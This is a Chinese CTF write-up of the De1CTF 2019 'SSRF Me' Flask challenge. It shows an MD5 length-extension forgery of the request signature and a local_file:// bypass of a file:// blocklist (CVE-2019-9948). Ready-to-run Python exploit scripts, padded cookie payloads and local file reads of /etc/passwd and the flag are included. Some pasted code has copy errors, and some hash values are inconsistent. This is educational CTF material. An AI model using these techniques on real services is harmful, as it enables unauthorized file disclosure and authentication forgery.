[De1CTF 2019]SSRF Me-MD5长度扩展攻击&CVE-2019-9948
0x00
打开题目查看源代码,开始审计
这里贴上网上师傅的博客笔记:
https://xz.aliyun.com/t/6050
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sysi
mport os
import jsonreload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
笔记:
因为python 的 flask 框架,源码有三个路由。所以重点分析三个路由:
// 自己跟一遍然后梳理逻辑记录下来,多次重复锻炼然后再提高梳理逻辑的速度。
action = urllib.unquote(request.cookies.get("action"))
// print(action)
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request
.cookies.get("sign"))
ip = request.remote_addr
// 这里通过 http协议的header头Cookies: action=123;sign=ss
// 还有URLPath的query: ?param=123
// 去设置 class Task 初始化实例时 调用的实例
if(waf(param)): // file protocol can be bypassed by use local-file:// (urllib cve)
return "No Hacker!!!!"
task = Task(action, param, sign, ip) // follow it
// task = Task(action, param, sign, ip)
// return json.dumps(task.Exec()) 这里调用了Exec,而且采用了json.dumps return到了前端
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
print ip
// 读下Exec,简化下逻辑
// 首先self.checkSign() 第一重限制
// def checkSign(self): 核心 getSign(self.action, self.param) == self.sign
// def getSign(action , param) 核心:
// return hashlib.md5(secert_key + param + action).hexdigest()
// 然后分析下代码:
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param) // here is vulunerability
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp // here,just print resp in server,dont't output user
tmpfile.write(resp) // save result to result.txt
tmpfile.close()
result['code'] = 200
if "read" in self.action: // so we must run it to output result
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
// 整理下整个题目的思路:
// 两个限制的绕过
// def waf(content) -----> local-file://
// def checkSign(self) ---> md5扩展攻击
// 这里比较让我烦躁的就是md5扩展攻击,因为我有时候忘记原理了,这里又要看下文章回顾下,一方面当时好像自己 // 没写一些脚本去说明和简化这类型的通用解法
// https://github.com/mstxq17/cryptograph-of-web 之前自己写的原理介绍,但是没写工具介绍
// 趁着这次做题,补充下做题的工具做法
@app.route("/geneSign", methods=['GET', 'POST']) // get step1
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
// secert_key + param + action -> secert_key(len:16) + param + 'scan'(len:4)
// need secert_key(len:16) + 'local-file:///etc/passwd' + 'readscan'(len:4)
// secert_key(len:16) + 'local-file:///etc/passwd'(len:24) + 'scan' 这里要变换下key
// /geneSign?param=local-file:///etc/pwd
// fe28521b6c224cad35396cacdb118890
// secert_key <=> secert_key(len:16) + 'local-file:///etc/passwd'(len:24) (len:40)
由以上可知:
index 用于获取源码,geneSign 用于生成 md5,De1ta 就是挑战
我们解题思路:
大概思路就是在 /De1ta 中 get param ,cookie action sign 去读取 flag.txt,其中,param=flag.txt,action 中要含有 read 和 scan,且 sign=md5(secert_key + param + action)
细节部分:
①:
传入一个param,/geneSign路由会返回的一个sign
②:
通过cookie得到一个sign,到时候回传到exec()中去跟getSign()产生的sign校验,所以这里直接传一个getSign()产生的sign。通过cookie传入一个action参数,看后面的Exec()可以知道action="readscan"。根据提示param=flag.txt,所以这个sign应该是md5('xxxflag.txtreadscan'),但是action在geneSign()写死了为"action"。
0x01 一:通过scan方法直接读取flag.txt
分析三个路由源代码发现:
①:geneSign()获得param参数,通过action和param生成签名
②:challenge()获得cookies中的action和sign,再去通过url传参获取param,并且使用Task对象,通过json返回Exec()方法
③:index得到源码
在执行Exec方法的时候,
所以只要我们后面传入的param和路由/De1ta下传入的param一样,然后action也等于scan。并且将/geneSign路由下返回的sign一样,就可以了。看scan这个方法,就是访问param的网址,并将其内容的前50个字母返回回来。
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
还有几处关键代码:
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
不妨假设 secert_key 是 xxx ,那么在开始访问 /geneSign?param=flag.txt 的时候,返回的 md5 就是 md5('xxx' + 'flag.txt' + 'scan') ,在 python 里面上述表达式就相当于 md5(xxxflag.txtscan) ,这就很有意思了。
直接构造访问 /geneSign?param=flag.txtread ,拿到的 md5 就是 md5('xxx' + 'flag.txtread' + 'scan') ,等价于 md5('xxxflag.txtreadscan') ,这就达到了目标。
注:
源码定义了action=scan.这在生成sign中是不可变的,又因为Exec方法中action必须有read和scan。所以定义为flag.txtread
所以我们构造flag.txtread。
直接访问 /De1ta?param=flag.txt 构造 cookie action=readscan;sign=aa734dd335784913abfaf29426003613 即可
0x02:解法二:CVE-2019-9948
这种方法据说才是预期解,以后记得要善用CVE库orz。。。
https://cve.mitre.org/
开始看题:
这个一开始真想不到。。看网上wp,
考点:
local_file
看到waf再看到check.startswith匹配开头file,先去搜下cve。
CVE-2019-9948:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9948
很明显有这个bug,我们跟进源码看看为啥。
然后简单看下urlopen方法
看到file 协议也是调用了封装的local_file协议
我们根据文件读取,可以读取/root/.history然后得到flag路径,就是local_file:///app/flag.txt
先生成已知值:md5(secretkey+local_file:///app/flag.txt + 'scan')
直接访问:
/geneSign?param=local_file:///app/flag.txt
得到
e9362f489e46dcb3d85f1d214ffd59b7
构造生成: md5(secretkey+local_file:///app/flag.txt + 'scan' + 'read')
其实你有没有发现,这里跟我上面说的有点不太一样,其实你换个角度想下也就是把secretkey+local_file:///app/flag.txt =>看成secretkey不就是和上面等价了吗
开始使用hashpump来生成我们的cookie进行扩展攻击
Input Signature: 2e327c850387a7df079d9ea80f6843bc
Input Data:scan
Input Key Length: 42
这里着重讲一下这个key长度
他和我们input的内容直接联系
首先这种方法我们Input为 secretkey+local_file:///app/flag.txt
所以我们计算一下长度:
C:\Users\hp>python
Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:22:17) [MSC v.1500 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> print len("local_file:///app/flag.txt") + 16
42
所以长度为42
Input Data to Add: read
生成:18399a4edb0a072123e22c3873b9ad93
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read
使用脚本转换成urlencode:
str = r'scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read'
print str.replace(r'\x','%')
结果:
scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read
在bp中
直接访问:
/geneSign?param=local_file:///app/flag.txt
并且cookie值替换为action=scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read;sign=18399a4edb0a072123e22c3873b9ad93
写个脚本:
import requests
url = 'http://web68.buuoj.cn/De1ta?param=flag.txt'
##将生成\x转换成%
cookies = {
'sign': '18399a4edb0a072123e22c3873b9ad93',
'action':'scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read'
}
res = requests.get(url=url, cookies=cookies)
print(res.text)
另一种计算keylength方法:
secert_key 是一个长度为 16 的字符串,在 /geneSign?param=flag.txt 中可以获取 md5(secert_key + 'flag.txt' + 'scan') 的值,为 8370bdba94bd5aaf7427b84b3f52d7cb,而目标则是获取 md5(secert_key + 'flag.txt' + 'readscan') 的值
2e327c850387a7df079d9ea80f6843bc
Input Signature: 2e327c850387a7df079d9ea80f6843bc
Input Data: scan
Input Key Length: 24【secert_key 是一个长度为 16 的字符串+flag.txt】
Input Data to Add: read
18399a4edb0a072123e22c3873b9ad93
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
转换:
str=r'scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read'
print str.replace(r'\x','%')
生成:scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read
直接访问:
/De1ta?param=flag.txt
并且cookie值替换为action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read;sign=18399a4edb0a072123e22c3873b9ad93
exp:
import requests
url = 'http://60d99114-d326-40f2-be13-098d06ca8588.node3.buuoj.cn/De1ta?param=flag.txt'
cookies = {
'sign': '18399a4edb0a072123e22c3873b9ad93',
'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
}
res = requests.get(url=url, cookies=cookies)
print(res.text)
0x03总结
关于 local_file :
参考 : https://bugs.python.org/issue35907
这里是使用的 urllib.urlopen(param) 去包含的文件,所以可以直接加上文件路径 flag.txt 或 ./flag.txt 去访问,也可以使用类似的 file:///app/flag.txt 去访问,但是 file 关键字在黑名单里,可以使用 local_file 代替
如果使用 urllib2.urlopen(param) 去包含文件就必须加上 file ,否则会报 ValueError: unknown url type: /path/to/file 的错误
注:
当不存在协议的时候,默认使用file协议读取。
可以使用local_file:绕过,例如 local_file:flag.txt路径就是相对脚本的路径 。
local_file://就必须使用绝对路径(协议一般都是这样)。
PS:local-file:///proc/self/cwd/flag.txt也可以读取,因为/proc/self/cwd/代表的是当前路径。
当然,这个题目不绕过协议也行
他默认就是
file协议
所以当我们需要绕过时
可以考虑local_file这种方法(第一种扩展攻击)
放个exp:
import requests
conn = requests.Session()
url = "http://139.180.128.86"
def geneSign(param):
data = {
"param": param
}
resp = conn.get(url+"/geneSign",params=data).text
print resp
return resp
def challenge(action,param,sign):
cookie={
"action":action,
"sign":sign
}
params={
"param":param
}
resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
return resp.text
filename = "local_file:///app/flag.txt"
a = []
for i in range(1):
sign = geneSign("{}read".format(filename.format(i)))
resp = challenge("readscan",filename.format(i),sign)
if("title" in resp):
a.append(i)
print resp,i
print a
参考链接:
https://xz.aliyun.com/t/5927#toc-3
https://xz.aliyun.com/t/6050#toc-7
[De1CTF 2019]SSRF Me-MD5长度扩展攻击&CVE-2019-9948的更多相关文章
- MD5的Hash长度扩展攻击
Hash长度扩展攻击 引子 无意中碰到一道题,大概代码是这样的 $flag = "XXXXXXXXXXXXXXXXXXXXXXX"; $secret = "XXXXXXX ...
- 哈希长度扩展攻击的简介以及HashPump安装使用方法
哈希长度扩展攻击(hash length extension attacks)是指针对某些允许包含额外信息的加密散列函数的攻击手段.该攻击适用于在消息与密钥的长度已知的情形下,所有采取了 H(密钥 ∥ ...
- 哈希长度扩展攻击(Hash Length Extension Attack)利用工具hexpand安装使用方法
去年我写了一篇哈希长度扩展攻击的简介以及HashPump安装使用方法,本来已经足够了,但HashPump还不是很完善的哈希长度扩展攻击,HashPump在使用的时候必须提供original_data, ...
- hash长度扩展攻击
这里面就放一张百度百科的解释吧,emmm 反正我是看不懂还是做一下题来巩固一下吧 CTF中的hash长度攻击 进入网页你会发现页面显示  我这里没有看到什么可以利用的,抓了一下包也没有什么有可以利 ...
- 实验吧——让我进去(hash长度扩展攻击)
题目地址:http://ctf5.shiyanbar.com/web/kzhan.php 在页面源码没发现什么,于是用burp进行抓包重放 看到有setcookie,于是重新刷新页面拦截数据包(这次才 ...
- 实验吧Web-中-让我进去(Hash长度扩展攻击、加盐密码及Linux下hashpump的安装使用)
打开网页,测试开始,注入费老大劲,看了大佬的blog才知道怎么干. bp抓包,观察发现cookie中有个source=0,在repeater中修改为source=1,然go一下,出来了一段源代码. $ ...
- 刷题记录:[De1CTF 2019]SSRF Me
目录 刷题记录:[De1CTF 2019]SSRF Me 一.涉及知识点 1.MD5长度扩展攻击 2.Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI ...
- 刷题[De1CTF 2019]SSRF Me
前置知识 本题框架是flask框架,正好python面向对象和flask框架没怎么学,借着这个好好学一下 这里我直接听mooc上北京大学陈斌老师的内容,因为讲的比较清楚,直接把他的ppt拿过来,看看就 ...
- 实验吧_天下武功唯快不破&让我进去(哈希长度拓展攻击)
天下武功唯快不破 第一反应就去抓包,看到返回包的header中有FLAG的值,base64解码后得到下图所示 这就要求我们在请求头中post相应key的值,我直接在burp中尝试了多次都没有用,想起来 ...
随机推荐
- url中?的作用
http://123.206.87.240:8002/get/?what=flag? 分隔实际的URL和参数 ,用于动态页面的交互和传参
- 32位CPU和64位CPU 区别
操作系统只是硬件和应用软件中间的一个平台. 32位操作系统针对的32位的CPU设计. 64位操作系统针对的64位的CPU设计.操作系统只是硬件和应用软件中间的一个平台. 32位操作系统针对的32位的C ...
- CAD转PDF再由pdf转jpg图片
免费的PDF转JPG图片 https://www.gaitubao.com/pdf-to-jpg/
- 《新标准C++程序设计》3.6-3.7(C++学习笔记9)
一.成员对象和封闭类 (1)定义 一个类的成员变量如果是另一个类的对象,就称之为“成员对象”. 包含成员对象的类叫封闭类. (2)封闭类构造函数的初始化列表 在构造函数中添加初始化列表的写法: 类名: ...
- DataTable数据类型的一些操作 增加行、插入行、修改数据、修改列名、修改列顺序、计算、选取或删除行(列)、排序、某列distinct值 等
Datatable 这个数据类型在C#中涉及到对数据库读取时的用处还是挺大的,最近在处理一个报表开发时,一开始把所有的操作都放在sql 上面来做,就是我需要什么样的数据我就query出什么,但是这样其 ...
- LCT(1)
LCT(Link-Cut Tree,动态树)是一个支持动态修改树的结构的数据结构,其基本操作有 \(\texttt{access}\) , \(\texttt{findroot}\) , \(\tex ...
- Spark 内存管理
Spark 内存管理 Spark 执行应用程序时, 会启动 Driver 和 Executor 两种 JVM 进程 Driver 负责创建 SparkContext 上下文, 提交任务, task的分 ...
- BurpSuite详解
转载自:http://www.nxadmin.com/tools/689.html 本文由阿德马翻译自国外网站,请尊重劳动成果,转载注明出处 Burp Suite是Web应用程序测试的最佳工具之一,其 ...
- POJ - 1065 Wooden Sticks(贪心+dp+最长递减子序列+Dilworth定理)
题意:给定n个木棍的l和w,第一个木棍需要1min安装时间,若木棍(l’,w’)满足l' >= l, w' >= w,则不需要花费额外的安装时间,否则需要花费1min安装时间,求安装n个木 ...
- CCCC L3-015. 球队“食物链”(dfs+剪枝)
题意: 某国的足球联赛中有N支参赛球队,编号从1至N.联赛采用主客场双循环赛制,参赛球队两两之间在双方主场各赛一场. 联赛战罢,结果已经尘埃落定.此时,联赛主席突发奇想,希望从中找出一条包含所有球队的 ...